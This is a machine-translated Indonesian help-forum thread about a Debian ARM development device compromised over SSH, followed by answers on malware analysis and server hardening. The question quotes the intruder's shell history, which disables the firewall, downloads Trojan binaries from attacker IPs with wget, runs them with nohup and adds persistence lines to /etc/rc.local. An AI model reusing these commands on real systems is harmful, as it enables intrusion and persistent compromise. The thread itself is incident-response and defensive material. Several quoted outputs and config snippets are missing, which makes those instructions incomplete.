Saya mengembangkan produk konsumen, dan seharusnya terhubung ke Internet, sehingga seperti yang diharapkan, terhubung ke Internet sehingga saya dapat mengembangkannya dengan benar.
Saya pergi selama satu atau dua jam, dan ketika saya kembali ke kantor saya, saya melihat beberapa perintah aneh yang tertulis di terminal.
Melihat file log Linux yang disebut auth.log
saya dapat melihat baris berikut (di antara banyak lagi):
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
Alamat IP 40.127.205.162
ternyata dimiliki oleh Microsoft .
Berikut adalah banyak perintah yang digunakan saat saya pergi:
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 chmod 777 yjz1
361 ./yjz1
362 chmod 0755 /tmp/yjz1
363 nohup /tmp/yjz1 > /dev/null 2>&1 &
364 chmod 0777 yjz1
365 chmod u+x yjz1
366 ./yjz1 &
367 chmod u+x yjz1
368 ./yjz1 &
369 wget http://222.186.30.209:65534/yjz
370 chmod 0755 /tmp/yjz
371 nohup /tmp/yjz > /dev/null 2>&1 &
372 chmod 777 yjz
373 ./yjz
374 chmod 0755 /tmp/yjz
375 nohup /tmp/yjz > /dev/null 2>&1 &
376 chmod u+x yjz
377 ./yjz &
378 chmod u+x yjz
379 ./yjz &
380 cd /tmp
381 echo "cd /tmp/">>/etc/rc.local
382 service iptables stop
383 cd /tmp
384 wget http://222.186.30.209:65534/yjz1
385 chmod 0755 /tmp/yjz1
386 nohup /tmp/yjz1 > /dev/null 2>&1 &
387 chmod 777 yjz1
388 ./yjz1
389 chmod 0755 /tmp/yjz1
390 nohup /tmp/yjz1 > /dev/null 2>&1 &
391 chmod u+x yjz1
392 ./yjz1 &
393 chmod 0777 yjz1
394 ./yjz1 &
395 echo "cd /tmp/">>/etc/rc.local
396 service iptables stop
397 wget http://222.186.30.209:65534/yjz1
398 chmod 0755 /root/yjz1
399 nohup /root/yjz1 > /dev/null 2>&1 &
400 chmod 777 yjz1
401 ./yjz1
402 chmod 0755 /root/yjz1
403 nohup /root/yjz1 > /dev/null 2>&1 &
404 chmod u+x yjz1
405 ./yjz1 &
406 chmod 0777 yjz1
407 ./yjz1 &
408 echo "cd /root/">>/etc/rc.local
409 cd /tmp
410 service iptables stop
411 wget http://222.186.30.209:65534/yjz1
412 chmod 0755 /tmp/yjz1
413 nohup /tmp/yjz1 > /dev/null 2>&1 &
414 chmod 777 yjz1
415 ./yjz1 &
416 cd /etc
417 echo "cd /root/">>/etc/rc.local
418 echo "./yjz1&">>/etc/rc.local
419 echo "./yjz1&">>/etc/rc.local
420 echo "/etc/init.d/iptables stop">>/etc/rc.local
421 cd /tmp
422 service iptables stop
423 wget http://222.186.30.209:65534/yjz1
424 chmod 0755 /tmp/yjz1
425 nohup /tmp/yjz1 > /dev/null 2>&1 &
426 chmod 777 yjz1
427 ./yjz1 &
428 cd /etc
429 echo "cd /root/">>/etc/rc.local
430 echo "./yjz1&">>/etc/rc.local
431 echo "./yjz1&">>/etc/rc.local
432 echo "/etc/init.d/iptables stop">>/etc/rc.local
433 cd /tmp
434 service iptables stop
435 wget http://222.186.30.209:65534/yjz1
436 chmod 0755 /tmp/yjz1
437 nohup /tmp/yjz1 > /dev/null 2>&1 &
438 chmod 777 yjz1
439 ./yjz1 &
440 cd /etc
441 echo "cd /root/">>/etc/rc.local
442 echo "./yjz1&">>/etc/rc.local
443 echo "./yjz1&">>/etc/rc.local
444 echo "/etc/init.d/iptables stop">>/etc/rc.local
445 service iptables stop
446 wget http://222.186.30.209:65534/yjz1
447 chmod 0755 /root/yjz1
448 nohup /root/yjz1 > /dev/null 2>&1 &
449 chmod 777 yjz1
450 ./yjz1
451 chmod 0755 /root/yjz1
452 nohup /root/yjz1 > /dev/null 2>&1 &
453 chmod 0777 yjz1
454 chmod u+x yjz1
455 ./yjz1 &
456 chmod u+x yjz1
457 ./yjz1 &
Dan lagi:
481 service iptables stop
482 wget http://222.186.30.209:65534/yjz1
483 chmod 0755 /root/yjz1
484 nohup /root/yjz1 > /dev/null 2>&1 &
485 chmod 777 yjz1
486 ./yjz1
487 chmod 0755 /root/yjz1
488 nohup /root/yjz1 > /dev/null 2>&1 &
489 chmod 0777 yjz1
490 chmod u+x yjz1
491 ./yjz1 &
492 chmod u+x yjz1
493 ./yjz1 &
494 cd /tmp
495 service iptables stop
496 wget http://175.102.133.55:2/yjz
497 ./yd_cd/make
498 service iptables stop
499 service iptables stop
500 wget http://222.186.30.209:65534/yjz1
Saya sama sekali tidak menyadari hal ini. Bagaimana saya bisa mengamankan produk saya dengan benar?
Saya ingin memposting auth.log
file lengkap . Bagaimana aku melakukan itu?
Selain itu, file yjz1
yang diunduh tampaknya adalah Trojan Linux dan semua ini tampaknya dilakukan oleh beberapa jenis kelompok peretas menurut http://anti-hacker-alliance.com/index.php?ip=40.127.205.162
Haruskah saya menelepon Microsoft dan berbicara dengan mereka? Apa yang harus saya lakukan?
sumber
Jawaban:
EDIT 2 :
ada satu alasan bagus mengapa posting ini menarik begitu banyak perhatian: Anda berhasil merekam seluruh sesi langsung dari seorang penyusup di PC Anda. Ini sangat berbeda dari pengalaman kita sehari-hari, di mana kita berurusan dengan penemuan konsekuensi dari tindakannya dan mencoba untuk memperbaikinya. Di sini kita melihat dia sedang bekerja, melihat dia memiliki masalah dengan membangun pintu belakang, menelusuri kembali langkahnya, bekerja dengan tergesa-gesa (mungkin karena dia sedang duduk di meja Anda, seperti yang disarankan di atas, atau mungkin, dan menurut pendapat saya lebih mungkin, karena dia adalah tidak dapat membuat malware-nya berjalan di sistem, baca di bawah), dan coba gunakan instrumen kontrol yang lengkap. Inilah yang disaksikan peneliti keamanan setiap hari dengan perangkap madu mereka . Bagi saya, ini adalah kesempatan yang sangat langka, dan sumber hiburan.
Anda pasti diretas. Bukti untuk ini tidak berasal dari potongan
auth.log
file yang Anda tampilkan, karena ini melaporkan upaya login yang gagal, terjadi dalam rentang waktu singkat (dua detik). Anda akan melihat bahwa baris kedua menyatakanFailed password
, sedangkan yang ketiga melaporkanpre-auth
pemutusan: orang itu mencoba dan gagal.Buktinya datang dari konten dua file
http://222.186.30.209:65534/yjz
danhttp://222.186.30.209:65534/yjz1
yang diunduh penyerang ke sistem Anda.Situs ini terbuka untuk siapa saja untuk mengunduhnya, yang saya lakukan. Saya pertama kali berlari
file
pada mereka, yang menunjukkan:Lalu saya membawa mereka ke VM Debian 64-bit yang saya miliki; pemeriksaan konten mereka melalui
strings
perintah mengungkapkan banyak hal yang mencurigakan (referensi ke berbagai serangan terkenal, untuk perintah yang akan diganti, skrip yang jelas digunakan untuk mengatur layanan baru, dan sebagainya).Saya kemudian menghasilkan hash MD5 dari kedua file, dan memasukkannya ke database hash Cymru untuk melihat apakah mereka dikenal sebagai agen malware. Meskipun
yjz
tidak,yjz1
sedang, dan Cymru melaporkan kemungkinan deteksi oleh perangkat lunak anti-virus sebesar 58%. Itu juga menyatakan bahwa file ini terakhir terlihat sekitar tiga hari yang lalu, jadi ini cukup baru.Menjalankan clamscan (bagian dari
clamav
paket) pada dua file yang saya peroleh:jadi kami sekarang yakin bahwa perangkat lunak Linux standar dapat mengidentifikasinya.
Apa yang harus kamu lakukan
Meskipun agak baru, tidak ada sistem yang sangat baru, lihat artikel 2015 Januari ini di XorDdos , misalnya. Jadi sebagian besar paket gratis harus dapat menghapusnya. Anda harus mencoba:
clamav
,rkhunter
,chkrootkit
. Saya telah mencari Google di sekitar, dan melihat bahwa mereka mengklaim dapat menemukannya. Gunakan mereka untuk memeriksa pekerjaan pendahulunya, tetapi setelah menjalankan ketiga program ini Anda harus siap untuk pergi.Sedangkan untuk pertanyaan yang lebih besar,,
what should you do to prevent future infections
jawaban Journeyman adalah langkah pertama yang baik. Ingatlah bahwa ini adalah perjuangan yang berkelanjutan, perjuangan yang kita semua (termasuk saya!) Mungkin akan kalah tanpa menyadarinya.EDIT :
Pada prompt (tidak langsung) Viktor Toth, saya ingin menambahkan beberapa komentar. Memang benar bahwa penyusup menghadapi beberapa kesulitan: ia mengunduh dua alat peretasan yang berbeda, mengubah izin mereka beberapa kali, menyalakannya kembali beberapa kali, dan mencoba berkali-kali untuk menonaktifkan firewall. Mudah untuk menebak apa yang terjadi: ia mengharapkan alat peretasannya untuk membuka saluran komunikasi ke salah satu komputer yang terinfeksi (lihat nanti), dan, ketika ia tidak melihat saluran baru ini muncul di GUI kontrolnya, takut peretasannya alat sedang diblokir oleh firewall, jadi dia mengulangi prosedur instalasi. Saya setuju dengan Viktor Toth bahwa tahap operasinya yang khusus ini sepertinya tidak membuahkan hasil yang diharapkan, tetapi saya ingin mendorong Anda dengan sangat kuat tidak meremehkan tingkat kerusakan yang ditimbulkan pada pc Anda.
Saya berikan di sini sebagian dari
strings yjz1
:Ini memberikan bukti gangguan pada layanan (di dalam
/etc/init.d
dan di/etc/rc.d
), dengancrontab
, dengan file riwayatmysql
, dan beberapa fileproc
yang merupakan tautan kebash
(yang menunjukkan versi palsu dari cangkang Anda telah ditanam). Kemudian program menghasilkan permintaan HTTP (ke situs berbahasa Cina,yang memberi substansi pada komentar David Schwartz di atas), yang dapat menciptakan lebih banyak kekacauan. Dalam permintaan, binari (
Content-Type: application/x-www-form-urlencoded
) harus diunduh ke pc yang diserang (GET) dan diunggah ke mesin pengontrol (POST). Saya tidak dapat menetapkan apa yang akan diunduh ke PC yang diserang, tetapi, mengingat ukuran kecil keduanyayjz
danyjz1
(1.1MB dan 600kB, secara repektif), saya dapat berani menduga bahwa sebagian besar file yang diperlukan untuk menyelubungi rootkit, yaitu yang diubah versils
,netstat
,ps
,ifconfig
, ..., akan di-download dengan cara ini. Dan ini akan menjelaskan upaya demam penyerang untuk mendapatkan unduhan ini.Tidak ada kepastian bahwa di atas menghabiskan semua kemungkinan: kami tentu saja tidak memiliki bagian dari transkrip (antara baris 457 dan 481) dan kami tidak melihat logout; lebih jauh lagi, terutama yang mengkhawatirkan adalah garis 495-497,
yang merujuk ke file yang kami lihat tidak diunduh, dan yang mungkin merupakan kompilasi: jika demikian, itu berarti penyerang telah (akhirnya?) memahami apa masalah dengan executable-nya, dan sedang mencoba memperbaikinya, dalam hal ini pc menyerang telah pergi untuk selamanya. [Sebenarnya, dua versi malware yang diunduh penyerang ke mesin yang diretas (dan saya ke Debian VM 64bit saya) adalah untuk arsitektur yang tidak cocok, x86, sedangkan nama saja dari PC yang diretas itu memberikan fakta bahwa dia berurusan dengan arsitektur lengan].
Alasan mengapa saya menulis suntingan ini adalah untuk mendorong Anda sekuat mungkin untuk menyisir sistem Anda dengan instrumen profesional, atau menginstal ulang dari awal.
Dan, omong-omong, jika ini terbukti bermanfaat bagi siapa pun, ini adalah daftar dari 331 alamat IP yang
yjz
mencoba terhubung. Daftar ini begitu besar (dan mungkin ditakdirkan untuk menjadi lebih besar lagi) sehingga saya percaya ini adalah alasan untuk mengutak-atikmysql
. Daftar yang disediakan oleh backdoor lainnya adalah identik, yang, saya kira, adalah alasan untuk meninggalkan informasi penting seperti itu di tempat terbuka (saya pikir penyerang tidak ingin melakukan upaya untuk menyimpannya dalam format kernel, jadi ia meletakkan seluruh daftar dalam file teks-jelas, yang mungkin dibaca oleh semua orang yang ada di belakangnya, untuk OS apa pun):Kode berikut
pada daftar di atas menunjukkan bahwa 302 dari total 331 alamat ada di Cina daratan, sisanya ada di Hong Kong, Mongolia, Taiwan. Ini menambahkan dukungan lebih lanjut untuk pendapat David Schwartz bahwa ini sebagian besar adalah cincin bot Cina.
EDIT 3
Atas permintaan @ vaid (penulis OP, baca komentarnya di bawah), saya akan menambahkan komentar tentang cara memperkuat keamanan sistem Linux dasar (untuk sistem yang menyediakan banyak layanan, ini adalah topik yang jauh lebih kompleks).
vaid
menyatakan dia melakukan hal berikut:Ini bagus (kecuali saya menggunakan port di atas 10.000 karena banyak program berguna menggunakan port di bawah 10.000). Tapi saya tidak bisa cukup menekankan kebutuhan untuk menggunakan kunci kriptografi untuk login ssh , bukan kata sandi. Saya akan memberi Anda contoh pribadi. Pada salah satu VPS saya, saya tidak yakin apakah akan mengubah port ssh; Saya meninggalkannya di 22, tetapi menggunakan kunci crypto untuk otentikasi. Saya memiliki ratusan upaya pembobolan per hari , tidak ada yang berhasil. Ketika, lelah untuk memeriksa setiap hari bahwa tidak ada yang berhasil, saya akhirnya mengubah port ke sesuatu di atas 10.000, upaya pembobolan masuk ke nol. Pikiran Anda, bukan bahwa peretas itu bodoh (mereka tidak!), Mereka hanya memburu mangsa yang lebih mudah.
Mudah untuk mengaktifkan kunci kripto dengan RSA sebagai algoritme tanda tangan, lihat komentar di bawah ini oleh Jan Hudec (terima kasih!):
Sekarang yang harus Anda lakukan adalah menyalin file
id_rsa
ke mesin dari mana Anda ingin terhubung (dalam direktori.ssh
, jugachmod
'ed ke 700), kemudian mengeluarkan perintahKetika Anda yakin ini berfungsi, edit di server (= mesin yang ingin Anda sambungkan) file
/etc/ssh/sshd_config
, dan ubah barisuntuk
dan restart
ssh
layanan (service ssh restart
atausystemctl restart ssh
, atau sesuatu seperti ini, tergantung distro).Ini akan bertahan banyak. Faktanya, saat ini tidak ada eksploitasi yang diketahui terhadap versi saat ini
openssh v2
, dan RSA seperti yang digunakan olehopenssh v2
.Terakhir, untuk benar-benar melesat ke mesin Anda, Anda harus mengkonfigurasi firewall (netfilter / iptables) sebagai berikut:
Ini, 1) memungkinkan koneksi ssh dari LAN dan WAN, 2) memungkinkan semua input yang berasal dari permintaan Anda (misalnya, ketika Anda memuat halaman Web), 3) menjatuhkan segala sesuatu yang lain pada input, 4) memungkinkan semuanya pada output, dan 5-6) memungkinkan semua yang ada di antarmuka loopback.
Ketika kebutuhan Anda tumbuh, dan lebih banyak port perlu dibuka, Anda dapat melakukannya dengan menambahkan, di bagian atas daftar, aturan seperti:
untuk memungkinkan misalnya orang mengakses browser Web Anda.
sumber
yjz1
melalui Googles VirusTotal.com yang memberi positif. Saya bahkan tidak melihat ituyjz
telah diunduh. Terima kasih.strings
data yang tidak terpercaya. lcamtuf.blogspot.com/2014/10/...ls
,,who
atau apa pun. "Menyelamatkan data" dengan menggunakan yang dapat dieksekusi pada sistem yang dikompromikan (mis.scp
Ataursync
) dapat membahayakan bahkan lebih banyak mesin.Selamat datang di Internet - di mana server SSH terbuka kemungkinan akan diselidiki, dipaksakan dengan kasar, dan ada berbagai penghinaan yang menimpanya.
Untuk memulai, Anda harus benar-benar menghapus penyimpanan pada produk. Gambar itu jika Anda ingin meneruskannya untuk forensik, tetapi menginstal Linux di atasnya sekarang dicurigai.
Sedikit menebak tapi
Anda mendapat kekerasan atau menggunakan kata sandi umum. Ini keamanan karena ketidakjelasan tetapi Anda tidak ingin kata sandi kamus atau menggunakan akun root terbuka untuk SSH. Nonaktifkan akses SSH root jika itu opsi atau setidaknya ubah nama sehingga mereka perlu menebak keduanya. SSHing sebagai root adalah praktik keamanan yang mengerikan. Jika Anda harus menggunakan root, login sebagai pengguna lain dan gunakan su atau sudo untuk berganti.
Tergantung pada produk, Anda mungkin ingin mengunci akses SSH dalam beberapa cara. Penguncian total terdengar seperti ide yang bagus, dan memungkinkan pengguna untuk membukanya sesuai kebutuhan . Bergantung pada sumber daya apa yang dapat Anda cadangan, pertimbangkan hanya mengizinkan alamat IP di subnet Anda sendiri, atau semacam sistem pembatasan masuk. Jika Anda tidak membutuhkannya pada produk akhir, pastikan dimatikan.
Gunakan port non-standar. Keamanan tidak jelas lagi, tetapi itu berarti penyerang perlu menargetkan port Anda.
Jangan pernah menggunakan kata sandi default. Pendekatan terbaik yang saya lihat adalah menghasilkan kata sandi secara acak untuk perangkat tertentu dan mengirimkannya dengan produk Anda. Praktik terbaik adalah otentikasi berbasis kunci, tetapi saya tidak tahu bagaimana Anda akan mendekati itu pada produk pasar massal.
sumber
Oh, Anda pasti diretas. Seseorang tampaknya dapat memperoleh kredensial root dan berusaha mengunduh Trojan ke sistem Anda. MariusMatutiae memberikan analisis muatan.
Dua pertanyaan muncul: a) Apakah penyerang berhasil? Dan b) apa yang bisa kamu lakukan?
Jawaban untuk pertanyaan pertama mungkin tidak. Perhatikan bagaimana penyerang berulang kali mencoba mengunduh dan menjalankan payload, tampaknya tidak berhasil. Saya curiga ada sesuatu (SELinux, mungkin?) Menghalangi jalannya.
NAMUN: Penyerang juga mengubah
/etc/rc.d/rc.local
file Anda , dengan harapan bahwa ketika Anda me-restart sistem Anda, payload akan diaktifkan. Jika Anda belum menghidupkan ulang sistem, jangan mulai ulang sampai Anda menghapus perubahan ini dari/etc/rc.d/rc.local
. Jika Anda sudah me-restart itu ... yah, susah payah.Tentang apa yang dapat Anda lakukan tentang hal itu: Yang paling aman untuk dilakukan adalah menghapus sistem dan menginstal ulang dari awal. Tapi ini mungkin tidak selalu menjadi pilihan. Hal yang secara signifikan kurang aman untuk dilakukan adalah menganalisis dengan tepat apa yang terjadi dan menghapus setiap jejaknya, jika Anda bisa. Sekali lagi, jika Anda belum me-restart sistem, mungkin yang diperlukan hanyalah membersihkan
/etc/rc.d/rc.local
, menghapus apa pun yang diunduh oleh penyerang, dan yang tak kalah pentingnya, ubah kata sandi sialan!Namun, jika penyerang sudah dapat menjalankan payload, mungkin ada modifikasi lain pada sistem Anda yang mungkin sulit dideteksi. Itulah sebabnya penghapusan lengkap adalah satu-satunya pilihan yang aman (dan disarankan). Seperti yang Anda tunjukkan, peralatan yang dimaksud mungkin merupakan sasaran uji / pengembangan sehingga mungkin menyekanya tidak sesakit seperti dalam kasus lain.
Pembaruan : Terlepas dari apa yang saya tulis tentang kemungkinan pemulihan, saya ingin menggemakan rekomendasi MariusMatutiae yang sangat kuat untuk tidak meremehkan potensi kerusakan yang disebabkan oleh muatan ini dan sejauh mana ia mungkin telah mengkompromikan sistem target.
sumber
Sshd-honeypot saya juga telah melihat serangan semacam ini. Unduhan Pertama dari URL itu mulai 2016-01-29 10:25:33 dan serangan masih berlangsung. Serangan berasal / datang
Input dari penyerang ini adalah:
Jadi tidak ada kegiatan selain menginstal backdoor untuk nanti.
sumber
Semua orang di sini telah menawarkan saran yang solid, tetapi untuk menjadi jelas, prioritas Anda harus mendukung dan memverifikasi apa yang benar-benar Anda butuhkan dari sistem itu, kemudian menghapusnya dengan instalasi baru dari media yang dikenal aman.
Sebelum Anda menghubungkan host yang baru diinstal ke Internet, jalankan melalui ide-ide ini:
Buat pengguna non-root baru, dan masuk sebagai pengguna itu. Anda seharusnya tidak perlu login sebagai root, hanya sudo (pengguna pengganti lakukan) saat dibutuhkan.
Instal SE Linux, pengaturan konfigurasi yang memungkinkan kontrol akses wajib: https://wiki.debian.org/SELinux/Setup
Pertimbangkan firewall perangkat keras antara kantor / rumah Anda dan Internet. Saya menggunakan MicroTik, yang memiliki dukungan komunitas luar biasa: http://routerboard.com/ .
Dengan asumsi Anda berada di timeline untuk menyelesaikan pekerjaan Anda yang dibayar, setidaknya lakukan # 1. # 3 cepat, dan murah, tetapi Anda harus menunggu paket melalui pos, atau pergi ke toko.
sumber
Apakah debian-armhf nama host Anda? Atau apakah Anda menggunakan instalasi default dengan pengaturan default? Tidak ada masalah dengan itu, tetapi Anda seharusnya tidak membiarkan host langsung terkena Internet (yaitu, setidaknya tidak dilindungi oleh modem Anda).
Sepertinya masalah sebenarnya datang dari 222.186.30.209 (lihat http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Anda tidak harus membayar banyak perhatian untuk melihat IP Microsoft. IP dapat lebih atau kurang dipalsukan / tipuan dengan mudah.
Cara biasa untuk terhubung ke Internet adalah meneruskan daftar port yang diketahui dari IP publik Anda (mis. 8.8.8.8) ke lokal Anda (mis. 192.168.1.12).
Sebagai contoh, jangan teruskan semua koneksi masuk dari 8.8.8.8 (publik) ke 192.168.1.12 (lokal).
Hanya meneruskan port 22 dan 25 (ssh dan surat masuk, masing-masing). Anda tentu saja harus memiliki paket / pustaka ssh dan smtp yang mutakhir juga.
Apa berikutnya? Lepaskan tuan rumah, dan mengubah password (pada setiap komputer yang berhubungan dengan organisasi) yang manual dalam skrip shell (malu pada Anda!) Di
/etc/shadow
.sumber
Seperti yang dinyatakan orang lain, cukup jelas keamanan server Anda telah disusupi. Yang paling aman adalah menghapus mesin ini dan menginstal ulang.
Untuk menjawab bagian kedua dari pertanyaan Anda, jika Anda tidak dapat menggunakan kunci publik auth, saya sarankan setidaknya mengatur Fail2Ban dan menjalankan SSH pada port non-standar. Saya juga menonaktifkan akses SSH root.
Fail2Ban akan membantu mengurangi serangan brute-force dengan melarang alamat IP yang gagal masuk beberapa kali.
Mengatur sshd untuk mendengarkan pada port non-standar setidaknya akan membantu mengurangi visibilitas server SSH Anda sedikit. Menonaktifkan logon root juga sedikit mengurangi profil serangan. Di
/etc/sshd_config
:Dengan login root dinonaktifkan, Anda harus beralih ke root dengan
su
sekali Anda terhubung, atau (lebih disukai) gunakansudo
untuk menjalankan perintah istimewa.sumber
Server SSH terus-menerus diserang di internet. Beberapa hal yang Anda lakukan:
Pastikan Anda menggunakan kata sandi acak yang sangat aman, untuk mesin yang dapat diakses internet. Maksud saya seperti 16 karakter atau lebih dan sepenuhnya acak. Gunakan pengelola kata sandi sehingga Anda tidak harus mengingatnya. Jika Anda dapat mengingat kata sandi, itu terlalu sederhana.
Jika Anda tidak membutuhkan SSH, matikan. Jika Anda benar-benar membutuhkannya, tetapi tidak perlu diakses secara publik, jalankan pada nomor port yang tinggi dan tidak standar. Melakukan ini secara dramatis akan mengurangi upaya peretasan. Ya, seorang hacker yang berdedikasi dapat melakukan pemindaian port, tetapi bot otomatis tidak menemukannya.
Cuplikan dari auth log Anda menunjukkan upaya yang gagal. Namun jika Anda melihat lebih jauh, Anda pasti akan melihat login yang berhasil. Kalau Anda menggunakan kata sandi sederhana, maka sepele bot bisa masuk.
Anda perlu mengisolasi mesin ini dari jaringan. Sangat hati-hati dapatkan apa yang Anda butuhkan, lalu bersihkan.
sumber
Hal pertama yang harus dilakukan siapa pun / semua orang setelah menyiapkan server Linux / Unix yang menghadap ke depan adalah untuk segera menonaktifkannya
root
.Sistem Anda terganggu. Anda memiliki log riwayat berjalan yang mungkin keren untuk dilihat sampai batas tertentu. Tapi jujur membedah spesifik agak sedikit pemilih dan tidak akan membantu Anda mengamankan server Anda. Ini menunjukkan semua jenis omong kosong yang terjadi ketika botnet menelurkan malware — yang kemungkinan besar menginfeksi server Anda — menginfeksi sistem Linux. The jawaban yang diberikan oleh @MariusMatutiae bagus dan dipikirkan dengan baik dan ada orang lain yang mengulang bahwa Anda hack melalui
root
akses yang mimpi basah malware / botnet ini.Ada beberapa penjelasan tentang cara menonaktifkan
root
tetapi saya akan menyatakan dari pengalaman pribadi, kebanyakan apa pun yang melampaui apa yang akan saya jelaskan saat ini adalah berlebihan. Inilah yang harus Anda lakukan ketika pertama kali menyiapkan server:sudo
hak: Buat pengguna baru dengan nama baru — sesuatu seperticooldude
—menggunakan perintah sepertisudo adduser cooldude
jika Anda menggunakan Ubuntu atau jenis sistem Debian lainnya. Kemudian cukup editsudo
file secara manual menggunakan perintah seperti inisudo nano /etc/sudoers
dan tambahkan baris seperti dicooldude ALL=(ALL:ALL) ALL
bawah baris yang seharusnya dibacaroot ALL=(ALL:ALL) ALL
. Setelah itu selesai, login sebagaicooldude
dan ujisudo
perintah dengan perintah seperti -sudo w
sesuatu yang dasar dan tidak merusak - untuk melihat apakahsudo
hak berfungsi. Anda mungkin diminta kata sandi. Itu bekerja? Semuanya bagus! Pindah ke langkah berikutnya.root
akun: Oke, sekarang yangcooldude
bertanggung jawabsudo
atas hak, login sebagaicooldude
dan jalankan perintah ini untuk mengunci akun rootsudo passwd -l root
. Jika Anda telah membuat pasangan kunci SSHroot
, buka/root/.ssh/authorized_keys
dan hapus kunci-kunci itu. Atau lebih baik lagi, cukup ganti nama fileauthorized_keys_OFF
seperti ini,sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF
untuk secara efektif menonaktifkan kunci SSH. Saya lebih suka nanti karena jika ada begitu saja Anda masih memerlukan kata sandi untuk login lebih sedikit, Anda dapat memindahkan file itu kembali ke nama aslinya dan Anda harus melakukannya dengan baik.FWIW, saya telah mengelola puluhan server Linux selama bertahun-tahun (puluhan tahun?) Dan tahu dari pengalaman bahwa hanya menonaktifkan
root
— dan mengatur pengguna baru dengansudo
hak — adalah cara paling sederhana dan paling dasar untuk mengamankan sistem Linux apa pun. Saya tidak pernah berurusan dengan jenis kompromi apa pun melalui SSH begituroot
dinonaktifkan. Dan ya, Anda mungkin melihat upaya untuk masuk melaluiauth.log
tetapi tidak ada artinya; jikaroot
dinonaktifkan maka upaya tersebut tidak akan pernah menambah apa pun. Duduk saja dan saksikan usahanya gagal tanpa henti!sumber